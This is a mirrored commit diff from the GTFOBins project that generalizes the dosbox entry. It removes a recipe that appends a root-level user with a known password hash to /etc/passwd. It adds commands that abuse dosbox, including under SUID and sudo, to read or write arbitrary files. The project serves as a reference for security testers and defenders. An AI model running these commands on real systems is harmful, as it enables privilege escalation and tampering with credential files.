mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Generalize dosbox
This commit is contained in:
parent
4a058f88e1
commit
a846a16993
@ -1,10 +1,29 @@
|
||||
---
|
||||
description: Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used.
|
||||
functions:
|
||||
SUID:
|
||||
- description: Please change username to whatever you want and passwod is `toor`.
|
||||
file-read:
|
||||
- description: The file content will be displayed in the DOSBox graphical window.
|
||||
code: |
|
||||
cp /etc/passwd /tmp/passwd
|
||||
echo "idealphase:sXuCKi7k3Xh/s:0:0::/root:/bin/bash" >> /tmp/passwd
|
||||
/usr/bin/dosbox -c "mount c /etc/" -c "mount d /tmp/" -c "d:" -c "copy passwd c:"
|
||||
su idealphase
|
||||
LFILE='\path\to\file_to_read'
|
||||
dosbox -c 'mount c /' -c "type c:$LFILE"
|
||||
- description: The file is copied to a readable location.
|
||||
code: |
|
||||
LFILE='\path\to\file_to_read'
|
||||
dosbox -c 'mount c /' -c "copy c:$LFILE >c:\tmp\output" -c exit
|
||||
cat '/tmp/OUTPUT'
|
||||
file-write:
|
||||
- description: Note that the name of the written file in the following example will be `FILE_TO_`.
|
||||
code: |
|
||||
LFILE='\path\to\file_to_write'
|
||||
dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
|
||||
suid:
|
||||
- description: Note that the name of the written file in the following example will be `FILE_TO_`.
|
||||
code: |
|
||||
LFILE='\path\to\file_to_write'
|
||||
./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
|
||||
sudo:
|
||||
- description: Note that the name of the written file in the following example will be `FILE_TO_`.
|
||||
code: |
|
||||
LFILE='\path\to\file_to_write'
|
||||
sudo dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user